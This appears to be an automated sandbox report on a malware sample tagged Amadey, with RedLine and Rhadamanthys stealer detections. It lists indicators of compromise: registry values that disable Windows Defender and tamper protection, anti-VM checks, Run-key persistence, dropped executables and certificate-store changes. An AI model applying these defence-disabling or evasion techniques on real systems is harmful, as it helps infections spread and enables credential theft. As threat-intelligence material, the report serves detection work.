amadey | f589c043590b90eb7055f4fcc28530ef50693503bc69eb17904ccd7a97e2da9b

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

v8327Rw.exetz8276.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	v8327Rw.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	v8327Rw.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	tz8276.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	tz8276.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	tz8276.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	tz8276.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	v8327Rw.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	v8327Rw.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	v8327Rw.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	tz8276.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	tz8276.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 21 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1148-148-0x0000000002600000-0x0000000002646000-memory.dmp	family_redline
behavioral1/memory/1148-149-0x0000000002640000-0x0000000002684000-memory.dmp	family_redline
behavioral1/memory/1148-150-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-151-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-153-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-155-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-157-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-159-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-161-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-163-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-165-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-167-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-171-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-169-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-175-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-173-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-179-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-177-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-183-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-181-0x0000000002640000-0x000000000267E000-memory.dmp	family_redline
behavioral1/memory/1148-1057-0x00000000024A0000-0x00000000024E0000-memory.dmp	family_redline

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	serv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	serv.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	serv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	serv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	serv.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

serv.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions serv.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

15 1392 powershell.exe
17 1392 powershell.exe
37 1224 powershell.exe
38 1224 powershell.exe
Downloads MZ/PE file
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

serv.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	serv.exe

flow	pid	process
15	1392	powershell.exe
17	1392	powershell.exe
37	1224	powershell.exe
38	1224	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	serv.exe

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

serv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	serv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	serv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	serv.exe

Executes dropped EXE 22 IoCs

Processes:

zap5310.exezap1382.exezap4238.exetz8276.exev8327Rw.exew77FU05.exexuZYL31.exey85Vr80.exelegenda.exesqlcmd.exeworld.exeserv.exesvchost.exeYJROPMCQjRX9.exeDownloader.exemyp.execlip.exeDownloader.exemyp.execlip.exesqlcmd.exelegenda.exe

pid	process
1172	zap5310.exe
2036	zap1382.exe
1272	zap4238.exe
944	tz8276.exe
2000	v8327Rw.exe
1148	w77FU05.exe
1996	xuZYL31.exe
2028	y85Vr80.exe
1316	legenda.exe
1364	sqlcmd.exe
1656	world.exe
1284	serv.exe
1736	svchost.exe
1420	YJROPMCQjRX9.exe
1668	Downloader.exe
1440	myp.exe
1008	clip.exe
1248	Downloader.exe
1468	myp.exe
1512	clip.exe
952	sqlcmd.exe
796	legenda.exe

Loads dropped DLL 53 IoCs

Processes:

edba9a3c7e7519fdf720871f320d01c1.exezap5310.exezap1382.exezap4238.exev8327Rw.exew77FU05.exexuZYL31.exey85Vr80.exelegenda.exesqlcmd.exeworld.exeserv.exesvchost.exeYJROPMCQjRX9.exeDownloader.exemyp.execlip.exeDownloader.exemyp.execlip.exesqlcmd.exerundll32.exe

pid	process
1948	edba9a3c7e7519fdf720871f320d01c1.exe
1172	zap5310.exe
1172	zap5310.exe
2036	zap1382.exe
2036	zap1382.exe
1272	zap4238.exe
1272	zap4238.exe
1272	zap4238.exe
1272	zap4238.exe
2000	v8327Rw.exe
2036	zap1382.exe
2036	zap1382.exe
1148	w77FU05.exe
1172	zap5310.exe
1996	xuZYL31.exe
1948	edba9a3c7e7519fdf720871f320d01c1.exe
2028	y85Vr80.exe
2028	y85Vr80.exe
1316	legenda.exe
1316	legenda.exe
1364	sqlcmd.exe
1316	legenda.exe
1656	world.exe
1316	legenda.exe
1316	legenda.exe
1284	serv.exe
1316	legenda.exe
1316	legenda.exe
1736	svchost.exe
1316	legenda.exe
1420	YJROPMCQjRX9.exe
1316	legenda.exe
1316	legenda.exe
1668	Downloader.exe
1668	Downloader.exe
1440	myp.exe
1668	Downloader.exe
1668	Downloader.exe
1008	clip.exe
1316	legenda.exe
1316	legenda.exe
1248	Downloader.exe
1248	Downloader.exe
1468	myp.exe
1248	Downloader.exe
1248	Downloader.exe
1512	clip.exe
1316	legenda.exe
952	sqlcmd.exe
1740	rundll32.exe
1740	rundll32.exe
1740	rundll32.exe
1740	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000123001\clip.exe	upx
behavioral1/memory/1008-1329-0x0000000001240000-0x0000000001A0F000-memory.dmp	upx
behavioral1/memory/1512-1336-0x0000000000900000-0x00000000010CF000-memory.dmp	upx
behavioral1/memory/1512-1348-0x0000000000900000-0x00000000010CF000-memory.dmp	upx
behavioral1/memory/1008-1380-0x0000000001240000-0x0000000001A0F000-memory.dmp	upx

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

tz8276.exev8327Rw.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	tz8276.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	tz8276.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	v8327Rw.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	v8327Rw.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 17 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

Downloader.exezap1382.exeDownloader.exezap4238.exeedba9a3c7e7519fdf720871f320d01c1.exezap5310.execlip.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Meteorite = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Meteorite.exe"	Downloader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	zap1382.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Meteorite = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Meteorite.exe"	Downloader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	zap4238.exe
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run	Downloader.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	Downloader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	edba9a3c7e7519fdf720871f320d01c1.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	zap4238.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	zap1382.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run\Meteorite = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Meteorite.exe"	Downloader.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	edba9a3c7e7519fdf720871f320d01c1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	zap5310.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run\clip.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000123001\\clip.exe"	clip.exe
Key created	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run	Downloader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run\Meteorite = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Meteorite.exe"	Downloader.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce	zap5310.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	Downloader.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

serv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	serv.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	serv.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

serv.exe

pid process

1284 serv.exe
1284 serv.exe
1284 serv.exe
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

serv.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN serv.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1284	serv.exe
1284	serv.exe
1284	serv.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	serv.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

serv.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	serv.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	serv.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	serv.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1392 schtasks.exe

pid	process
1392	schtasks.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

legenda.exesqlcmd.exesqlcmd.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	legenda.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	legenda.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	legenda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sqlcmd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sqlcmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4	sqlcmd.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f	sqlcmd.exe
